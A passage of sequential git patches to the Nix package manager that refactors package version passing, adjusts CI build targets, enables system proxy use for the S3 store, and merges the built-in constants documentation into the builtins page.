+      chmod u+w .version
       echo ${finalAttrs.version} > .version
     '';
 

From 0729f0a113cb28369f492f16bb9f92c1d628e58f Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 17:36:31 +0200
Subject: [PATCH 518/528] packaging: Pass version directly

---
 packaging/dependencies.nix              | 1 +
 src/external-api-docs/package.nix       | 4 ++--
 src/internal-api-docs/package.nix       | 4 ++--
 src/libcmd/package.nix                  | 4 +---
 src/libexpr-c/package.nix               | 4 +---
 src/libexpr/package.nix                 | 4 +---
 src/libfetchers/package.nix             | 4 +---
 src/libflake/package.nix                | 4 +---
 src/libmain/package.nix                 | 4 +---
 src/libstore-c/package.nix              | 4 +---
 src/libstore/package.nix                | 4 +---
 src/libutil-c/package.nix               | 4 +---
 src/libutil/package.nix                 | 4 +---
 src/perl/package.nix                    | 4 ++--
 tests/unit/libexpr-support/package.nix  | 4 +---
 tests/unit/libexpr/package.nix          | 4 +---
 tests/unit/libfetchers/package.nix      | 4 +---
 tests/unit/libflake/package.nix         | 4 +---
 tests/unit/libstore-support/package.nix | 4 +---
 tests/unit/libstore/package.nix         | 4 +---
 tests/unit/libutil-support/package.nix  | 4 +---
 tests/unit/libutil/package.nix          | 4 +---
 22 files changed, 25 insertions(+), 60 deletions(-)

diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix
index 909a0a38eb8..78a857d85fe 100644
--- a/packaging/dependencies.nix
+++ b/packaging/dependencies.nix
@@ -40,6 +40,7 @@ let
 in
 scope: {
   inherit stdenv versionSuffix;
+  version = lib.fileContents ../.version + versionSuffix;
 
   libseccomp = pkgs.libseccomp.overrideAttrs (_: rec {
     version = "2.5.5";
diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix
index 7fd6a988a8f..da136bbe1fc 100644
--- a/src/external-api-docs/package.nix
+++ b/src/external-api-docs/package.nix
@@ -7,7 +7,7 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
@@ -16,7 +16,7 @@ in
 
 mkMesonDerivation (finalAttrs: {
   pname = "nix-external-api-docs";
-  version = lib.fileContents ./.version + versionSuffix;
+  inherit version;
 
   workDir = ./.;
   fileset =
diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix
index 44ddb00aba8..f2077dcafa4 100644
--- a/src/internal-api-docs/package.nix
+++ b/src/internal-api-docs/package.nix
@@ -7,7 +7,7 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
@@ -16,7 +16,7 @@ in
 
 mkMesonDerivation (finalAttrs: {
   pname = "nix-internal-api-docs";
-  version = lib.fileContents ./.version + versionSuffix;
+  inherit version;
 
   workDir = ./.;
   fileset = let
diff --git a/src/libcmd/package.nix b/src/libcmd/package.nix
index 5e6381a17fe..ec3aa46600d 100644
--- a/src/libcmd/package.nix
+++ b/src/libcmd/package.nix
@@ -20,7 +20,7 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 
 # Whether to enable Markdown rendering in the Nix binary.
 , enableMarkdown ? !stdenv.hostPlatform.isWindows
@@ -36,8 +36,6 @@
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix
index b445a8187d6..0b895437b6a 100644
--- a/src/libexpr-c/package.nix
+++ b/src/libexpr-c/package.nix
@@ -11,13 +11,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix
index d4296bc07a9..704456c96cd 100644
--- a/src/libexpr/package.nix
+++ b/src/libexpr/package.nix
@@ -20,7 +20,7 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 
 # Whether to use garbage collection for the Nix language evaluator.
 #
@@ -36,8 +36,6 @@
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
index 7786a4f35e4..b4abb144b50 100644
--- a/src/libfetchers/package.nix
+++ b/src/libfetchers/package.nix
@@ -15,13 +15,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libflake/package.nix b/src/libflake/package.nix
index f0609d5d5e8..af6f5da9416 100644
--- a/src/libflake/package.nix
+++ b/src/libflake/package.nix
@@ -17,13 +17,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libmain/package.nix b/src/libmain/package.nix
index f6c92bac660..bbd97ec3e58 100644
--- a/src/libmain/package.nix
+++ b/src/libmain/package.nix
@@ -14,13 +14,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix
index c14cf955d98..fc34c1bda72 100644
--- a/src/libstore-c/package.nix
+++ b/src/libstore-c/package.nix
@@ -12,13 +12,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index df92b5b28c0..0a2ace91e40 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -20,15 +20,13 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 
 , embeddedSandboxShell ? stdenv.hostPlatform.isStatic
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix
index f92cb036c8b..53451998dca 100644
--- a/src/libutil-c/package.nix
+++ b/src/libutil-c/package.nix
@@ -11,13 +11,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index 74d4d785345..28d7d8f0edb 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -17,13 +17,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/src/perl/package.nix b/src/perl/package.nix
index 08ceaa33e68..26856e631a1 100644
--- a/src/perl/package.nix
+++ b/src/perl/package.nix
@@ -8,7 +8,7 @@
 , pkg-config
 , nix-store
 , darwin
-, versionSuffix ? ""
+, version
 , curl
 , bzip2
 , libsodium
@@ -20,7 +20,7 @@ in
 
 perl.pkgs.toPerlModule (mkMesonDerivation (finalAttrs: {
   pname = "nix-perl";
-  version = lib.fileContents ./.version + versionSuffix;
+  inherit version;
 
   workDir = ./.;
   fileset = fileset.unions ([
diff --git a/tests/unit/libexpr-support/package.nix b/tests/unit/libexpr-support/package.nix
index f32cf26158d..0c966c55af1 100644
--- a/tests/unit/libexpr-support/package.nix
+++ b/tests/unit/libexpr-support/package.nix
@@ -14,13 +14,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix
index 1667dc77ee6..6394b595df7 100644
--- a/tests/unit/libexpr/package.nix
+++ b/tests/unit/libexpr/package.nix
@@ -17,13 +17,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix
index e9daacaeb53..563481cc589 100644
--- a/tests/unit/libfetchers/package.nix
+++ b/tests/unit/libfetchers/package.nix
@@ -16,13 +16,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix
index c2bcc8eb85f..15bf44907a7 100644
--- a/tests/unit/libflake/package.nix
+++ b/tests/unit/libflake/package.nix
@@ -16,13 +16,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libstore-support/package.nix b/tests/unit/libstore-support/package.nix
index f3a5bfc82e2..cb15cdd5f2f 100644
--- a/tests/unit/libstore-support/package.nix
+++ b/tests/unit/libstore-support/package.nix
@@ -14,13 +14,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix
index 663e8ba437a..2de8af1032d 100644
--- a/tests/unit/libstore/package.nix
+++ b/tests/unit/libstore/package.nix
@@ -18,13 +18,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix
index 431fe91c619..fdecdec7226 100644
--- a/tests/unit/libutil-support/package.nix
+++ b/tests/unit/libutil-support/package.nix
@@ -13,13 +13,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {
diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix
index 6bfa571d8af..ad5ff7d1e83 100644
--- a/tests/unit/libutil/package.nix
+++ b/tests/unit/libutil/package.nix
@@ -17,13 +17,11 @@
 
 # Configuration Options
 
-, versionSuffix ? ""
+, version
 }:
 
 let
   inherit (lib) fileset;
-
-  version = lib.fileContents ./.version + versionSuffix;
 in
 
 mkMesonDerivation (finalAttrs: {

From da4c55995b9fd355c72cca2f47bdbe1d163de454 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 19:15:53 +0200
Subject: [PATCH 519/528] ci.yml: Build non unit-tested components in
 meson_build

---
 .github/workflows/ci.yml | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index c4939dd11fb..ca94ff956f0 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -205,4 +205,6 @@ jobs:
       - uses: actions/checkout@v4
       - uses: DeterminateSystems/nix-installer-action@main
       - uses: DeterminateSystems/magic-nix-cache-action@main
-      - run: nix build -L .#hydraJobs.build.{nix-fetchers,nix-store,nix-util}.$(nix-instantiate --eval --expr builtins.currentSystem | sed -e 's/"//g')
+      # Only meson packages that don't have a tests.run derivation.
+      # Those that have it are already built and tested as part of nix flake check.
+      - run: nix build -L .#hydraJobs.build.{nix-cmd,nix-main}.$(nix-instantiate --eval --expr builtins.currentSystem | sed -e 's/"//g')

From bea54d116e572366b21bcbdeb85d567df00ef4a4 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 6 Jul 2024 17:49:58 +0200
Subject: [PATCH 520/528] Add resolvePath, filesetToSource indirections for
 Nixpkgs

---
 packaging/dependencies.nix         | 11 ++++++++++-
 tests/unit/libexpr/package.nix     |  3 ++-
 tests/unit/libfetchers/package.nix |  3 ++-
 tests/unit/libflake/package.nix    |  3 ++-
 tests/unit/libstore/package.nix    |  3 ++-
 5 files changed, 18 insertions(+), 5 deletions(-)

diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix
index 78a857d85fe..34b3449718d 100644
--- a/packaging/dependencies.nix
+++ b/packaging/dependencies.nix
@@ -14,9 +14,16 @@
 let
   inherit (pkgs) lib;
 
+  root = ../.;
+
+  # Nixpkgs implements this by returning a subpath into the fetched Nix sources.
+  resolvePath = p: p;
+
+  # Indirection for Nixpkgs to override when package.nix files are vendored
+  filesetToSource = lib.fileset.toSource;
+
   localSourceLayer = finalAttrs: prevAttrs:
     let
-      root = ../.;
       workDirPath =
         # Ideally we'd pick finalAttrs.workDir, but for now `mkDerivation` has
         # the requirement that everything except passthru and meta must be
@@ -104,5 +111,7 @@ scope: {
     meta.platforms = lib.platforms.all;
   });
 
+  inherit resolvePath filesetToSource;
+
   mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f);
 }
diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix
index 6394b595df7..6b7e12c4a0d 100644
--- a/tests/unit/libexpr/package.nix
+++ b/tests/unit/libexpr/package.nix
@@ -18,6 +18,7 @@
 # Configuration Options
 
 , version
+, resolvePath
 }:
 
 let
@@ -84,7 +85,7 @@ mkMesonDerivation (finalAttrs: {
       run = runCommand "${finalAttrs.pname}-run" {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
-        export _NIX_TEST_UNIT_DATA=${./data}
+        export _NIX_TEST_UNIT_DATA=${resolvePath ./data}
         nix-expr-tests
         touch $out
       '';
diff --git a/tests/unit/libfetchers/package.nix b/tests/unit/libfetchers/package.nix
index 563481cc589..9522f9639eb 100644
--- a/tests/unit/libfetchers/package.nix
+++ b/tests/unit/libfetchers/package.nix
@@ -17,6 +17,7 @@
 # Configuration Options
 
 , version
+, resolvePath
 }:
 
 let
@@ -82,7 +83,7 @@ mkMesonDerivation (finalAttrs: {
       run = runCommand "${finalAttrs.pname}-run" {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
-        export _NIX_TEST_UNIT_DATA=${./data}
+        export _NIX_TEST_UNIT_DATA=${resolvePath ./data}
         nix-fetchers-tests
         touch $out
       '';
diff --git a/tests/unit/libflake/package.nix b/tests/unit/libflake/package.nix
index 15bf44907a7..859bc49d02e 100644
--- a/tests/unit/libflake/package.nix
+++ b/tests/unit/libflake/package.nix
@@ -17,6 +17,7 @@
 # Configuration Options
 
 , version
+, resolvePath
 }:
 
 let
@@ -82,7 +83,7 @@ mkMesonDerivation (finalAttrs: {
       run = runCommand "${finalAttrs.pname}-run" {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
-        export _NIX_TEST_UNIT_DATA=${./data}
+        export _NIX_TEST_UNIT_DATA=${resolvePath ./data}
         nix-flake-tests
         touch $out
       '';
diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix
index 2de8af1032d..efffd00631b 100644
--- a/tests/unit/libstore/package.nix
+++ b/tests/unit/libstore/package.nix
@@ -19,6 +19,7 @@
 # Configuration Options
 
 , version
+, filesetToSource
 }:
 
 let
@@ -86,7 +87,7 @@ mkMesonDerivation (finalAttrs: {
       run = let
         # Some data is shared with the functional tests: they create it,
         # we consume it.
-        data = lib.fileset.toSource {
+        data = filesetToSource {
           root = ../..;
           fileset = lib.fileset.unions [
             ./data

From 514062c227f16af1410c9b2b12ede6c9f2069223 Mon Sep 17 00:00:00 2001
From: Romain NEIL <contact@romain-neil.fr>
Date: Sat, 6 Jul 2024 21:46:58 +0200
Subject: [PATCH 521/528] feat: configure aws s3 lib to use system defined
 proxy, if existent

---
 src/libstore/s3-binary-cache-store.cc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc
index e9850dce6dd..27013c0f17a 100644
--- a/src/libstore/s3-binary-cache-store.cc
+++ b/src/libstore/s3-binary-cache-store.cc
@@ -132,6 +132,7 @@ ref<Aws::Client::ClientConfiguration> S3Helper::makeConfig(
 {
     initAWS();
     auto res = make_ref<Aws::Client::ClientConfiguration>();
+    res->allowSystemProxy = true;
     res->region = region;
     if (!scheme.empty()) {
         res->scheme = Aws::Http::SchemeMapper::FromString(scheme.c_str());

From 95890b3e1d1aa0cf3d4df672287bc1b15686d671 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Sun, 7 Jul 2024 15:57:23 -0400
Subject: [PATCH 522/528] docs: merge builtin-constants into builtins

---
 doc/manual/generate-builtin-constants.nix     | 31 ------------
 doc/manual/generate-builtins.nix              | 16 ++++--
 doc/manual/local.mk                           | 10 +---
 doc/manual/src/SUMMARY.md.in                  |  9 ++--
 doc/manual/src/_redirects                     |  1 +
 .../src/language/builtin-constants-prefix.md  |  5 --
 .../src/language/builtin-constants-suffix.md  |  1 -
 doc/manual/src/language/builtins-prefix.md    | 10 ++--
 .../src/language/constructs/lookup-path.md    |  2 +-
 doc/manual/src/language/derivations.md        |  2 +-
 doc/manual/src/language/types.md              |  4 +-
 src/libexpr/eval-settings.hh                  | 14 +++---
 src/libexpr/primops.cc                        |  4 +-
 src/libstore/globals.hh                       |  2 +-
 src/libutil/experimental-features.cc          |  2 +-
 src/nix/main.cc                               | 49 ++++++++-----------
 16 files changed, 62 insertions(+), 100 deletions(-)
 delete mode 100644 doc/manual/generate-builtin-constants.nix
 delete mode 100644 doc/manual/src/language/builtin-constants-prefix.md
 delete mode 100644 doc/manual/src/language/builtin-constants-suffix.md

diff --git a/doc/manual/generate-builtin-constants.nix b/doc/manual/generate-builtin-constants.nix
deleted file mode 100644
index cccd1e279e6..00000000000
--- a/doc/manual/generate-builtin-constants.nix
+++ /dev/null
@@ -1,31 +0,0 @@
-let
-  inherit (builtins) concatStringsSep attrValues mapAttrs;
-  inherit (import <nix/utils.nix>) optionalString squash;
-in
-
-builtinsInfo:
-let
-  showBuiltin = name: { doc, type, impure-only }:
-    let
-      type' = optionalString (type != null) " (${type})";
-
-      impureNotice = optionalString impure-only ''
-        > **Note**
-        >
-        > Not available in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval).
-      '';
-    in
-    squash ''
-      <dt id="builtins-${name}">
-        <a href="#builtins-${name}"><code>${name}</code></a>${type'}
-      </dt>
-      <dd>
-
-      ${doc}
-
-      ${impureNotice}
-
-      </dd>
-    '';
-in
-concatStringsSep "\n" (attrValues (mapAttrs showBuiltin builtinsInfo))
diff --git a/doc/manual/generate-builtins.nix b/doc/manual/generate-builtins.nix
index 007b698f1bf..13de6c3972c 100644
--- a/doc/manual/generate-builtins.nix
+++ b/doc/manual/generate-builtins.nix
@@ -5,8 +5,10 @@ in
 
 builtinsInfo:
 let
-  showBuiltin = name: { doc, args, arity, experimental-feature }:
+  showBuiltin = name: { doc, type ? null, args ? [ ], experimental-feature ? null, impure-only ? false }:
     let
+      type' = optionalString (type != null) " (${type})";
+
       experimentalNotice = optionalString (experimental-feature != null) ''
         > **Note**
         >
@@ -18,18 +20,26 @@ let
         > extra-experimental-features = ${experimental-feature}
         > ```
       '';
+
+      impureNotice = optionalString impure-only ''
+        > **Note**
+        >
+        > Not available in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval).
+      '';
     in
     squash ''
       <dt id="builtins-${name}">
-        <a href="#builtins-${name}"><code>${name} ${listArgs args}</code></a>
+        <a href="#builtins-${name}"><code>${name}${listArgs args}</code></a>${type'}
       </dt>
       <dd>
 
       ${experimentalNotice}
 
       ${doc}
+
+      ${impureNotice}
       </dd>
     '';
-  listArgs = args: concatStringsSep " " (map (s: "<var>${s}</var>") args);
+  listArgs = args: concatStringsSep "" (map (s: " <var>${s}</var>") args);
 in
 concatStringsSep "\n" (attrValues (mapAttrs showBuiltin builtinsInfo))
diff --git a/doc/manual/local.mk b/doc/manual/local.mk
index 71ad5c8e640..0cec5288504 100644
--- a/doc/manual/local.mk
+++ b/doc/manual/local.mk
@@ -140,16 +140,10 @@ $(d)/xp-features.json: $(doc_nix)
 
 $(d)/src/language/builtins.md: $(d)/language.json $(d)/generate-builtins.nix $(d)/src/language/builtins-prefix.md $(doc_nix)
 	@cat doc/manual/src/language/builtins-prefix.md > $@.tmp
-	$(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtins.nix (builtins.fromJSON (builtins.readFile $<)).builtins' >> $@.tmp;
+	$(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtins.nix (builtins.fromJSON (builtins.readFile $<))' >> $@.tmp;
 	@cat doc/manual/src/language/builtins-suffix.md >> $@.tmp
 	@mv $@.tmp $@
 
-$(d)/src/language/builtin-constants.md: $(d)/language.json $(d)/generate-builtin-constants.nix $(d)/src/language/builtin-constants-prefix.md $(doc_nix)
-	@cat doc/manual/src/language/builtin-constants-prefix.md > $@.tmp
-	$(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtin-constants.nix (builtins.fromJSON (builtins.readFile $<)).constants' >> $@.tmp;
-	@cat doc/manual/src/language/builtin-constants-suffix.md >> $@.tmp
-	@mv $@.tmp $@
-
 $(d)/language.json: $(doc_nix)
 	$(trace-gen) $(dummy-env) $(doc_nix) __dump-language > $@.tmp
 	@mv $@.tmp $@
@@ -217,7 +211,7 @@ doc/manual/generated/man1/nix3-manpages: $(d)/src/command-ref/new-cli
 # `@docroot@` is to be preserved for documenting the mechanism
 # FIXME: maybe contributing guides should live right next to the code
 # instead of in the manual
-$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/language/builtin-constants.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg
+$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg
 	$(trace-gen) \
 		tmp="$$(mktemp -d)"; \
 		cp -r doc/manual "$$tmp"; \
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index 6e5c1aee17a..a6a2101e9af 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -32,11 +32,10 @@
     - [String interpolation](language/string-interpolation.md)
     - [Lookup path](language/constructs/lookup-path.md)
   - [Operators](language/operators.md)
-  - [Derivations](language/derivations.md)
-    - [Advanced Attributes](language/advanced-attributes.md)
-    - [Import From Derivation](language/import-from-derivation.md)
-  - [Built-in Constants](language/builtin-constants.md)
-  - [Built-in Functions](language/builtins.md)
+  - [Built-ins](language/builtins.md)
+    - [Derivations](language/derivations.md)
+      - [Advanced Attributes](language/advanced-attributes.md)
+      - [Import From Derivation](language/import-from-derivation.md)
 - [Package Management](package-management/index.md)
   - [Profiles](package-management/profiles.md)
   - [Garbage Collection](package-management/garbage-collection.md)
diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects
index c52ca0dddfa..578c48f06f1 100644
--- a/doc/manual/src/_redirects
+++ b/doc/manual/src/_redirects
@@ -29,6 +29,7 @@
 /expressions/* /language/:splat 301!
 /language/values /language/types 301!
 /language/constructs /language/syntax 301!
+/language/builtin-constants /language/builtins 301!
 
 /installation/installation /installation 301!
 
diff --git a/doc/manual/src/language/builtin-constants-prefix.md b/doc/manual/src/language/builtin-constants-prefix.md
deleted file mode 100644
index 50f43006df4..00000000000
--- a/doc/manual/src/language/builtin-constants-prefix.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# Built-in Constants
-
-These constants are built into the Nix language evaluator:
-
-<dl>
diff --git a/doc/manual/src/language/builtin-constants-suffix.md b/doc/manual/src/language/builtin-constants-suffix.md
deleted file mode 100644
index a74db28579e..00000000000
--- a/doc/manual/src/language/builtin-constants-suffix.md
+++ /dev/null
@@ -1 +0,0 @@
-</dl>
diff --git a/doc/manual/src/language/builtins-prefix.md b/doc/manual/src/language/builtins-prefix.md
index 7b2321466dd..fb983bb7f3c 100644
--- a/doc/manual/src/language/builtins-prefix.md
+++ b/doc/manual/src/language/builtins-prefix.md
@@ -1,9 +1,11 @@
-# Built-in Functions
+# Built-ins
 
-This section lists the functions built into the Nix language evaluator.
-All built-in functions are available through the global [`builtins`](./builtin-constants.md#builtins-builtins) constant.
+This section lists the values and functions built into the Nix language evaluator.
+All built-ins are available through the global [`builtins`](#builtins-builtins) constant.
 
-For convenience, some built-ins can be accessed directly:
+Some built-ins are also exposed directly in the global scope:
+
+<!-- TODO(@rhendric, #10970): this list is incomplete -->
 
 - [`derivation`](#builtins-derivation)
 - [`import`](#builtins-import)
diff --git a/doc/manual/src/language/constructs/lookup-path.md b/doc/manual/src/language/constructs/lookup-path.md
index 11278f3a81c..11b9fe88c2a 100644
--- a/doc/manual/src/language/constructs/lookup-path.md
+++ b/doc/manual/src/language/constructs/lookup-path.md
@@ -6,7 +6,7 @@
 
 A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/types.md#type-path) if the identifier matches a search path entry.
 
-The value of a lookup path is determined by [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath).
+The value of a lookup path is determined by [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath).
 
 See [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile) for details on lookup path resolution.
 
diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md
index 8879fe7069d..8e3f0f79174 100644
--- a/doc/manual/src/language/derivations.md
+++ b/doc/manual/src/language/derivations.md
@@ -64,7 +64,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
   > }
   > ```
   >
-  > [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation.
+  > [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation.
 
 - [`builder`]{#attr-builder} ([Path](@docroot@/language/types.md#type-path) | [String](@docroot@/language/types.md#type-string))
 
diff --git a/doc/manual/src/language/types.md b/doc/manual/src/language/types.md
index 1b3e6b24793..c6cfb3c6909 100644
--- a/doc/manual/src/language/types.md
+++ b/doc/manual/src/language/types.md
@@ -37,7 +37,7 @@ A _boolean_ in the Nix language is one of _true_ or _false_.
 
 <!-- TODO: mention the top-level environment -->
 
-These values are available as attributes of [`builtins`](builtin-constants.md#builtins-builtins) as [`builtins.true`](builtin-constants.md#builtins-true) and [`builtins.false`](builtin-constants.md#builtins-false).
+These values are available as attributes of [`builtins`](builtins.md#builtins-builtins) as [`builtins.true`](builtins.md#builtins-true) and [`builtins.false`](builtins.md#builtins-false).
 The function [`builtins.isBool`](builtins.md#builtins-isBool) can be used to determine if a value is a boolean.
 
 ### String {#type-string}
@@ -60,7 +60,7 @@ There is a single value of type _null_ in the Nix language.
 
 <!-- TODO: mention the top-level environment -->
 
-This value is available as an attribute on the [`builtins`](builtin-constants.md#builtins-builtins) attribute set as [`builtins.null`](builtin-constants.md#builtins-null).
+This value is available as an attribute on the [`builtins`](builtins.md#builtins-builtins) attribute set as [`builtins.null`](builtins.md#builtins-null).
 
 ## Compound values
 
diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh
index 5eae708a2a9..191dde21aa9 100644
--- a/src/libexpr/eval-settings.hh
+++ b/src/libexpr/eval-settings.hh
@@ -74,7 +74,7 @@ struct EvalSettings : Config
         R"(
           List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution.
           This setting determines the value of
-          [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtin-constants.md#builtins-findFile).
+          [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile).
 
           The default value is
 
@@ -95,7 +95,7 @@ struct EvalSettings : Config
         this, "", "eval-system",
         R"(
           This option defines
-          [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem)
+          [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem)
           in the Nix language if it is set as a non-empty string.
           Otherwise, if it is defined as the empty string (the default), the value of the
           [`system` ](#conf-system)
@@ -116,7 +116,7 @@ struct EvalSettings : Config
         R"(
           If set to `true`, the Nix evaluator will not allow access to any
           files outside of
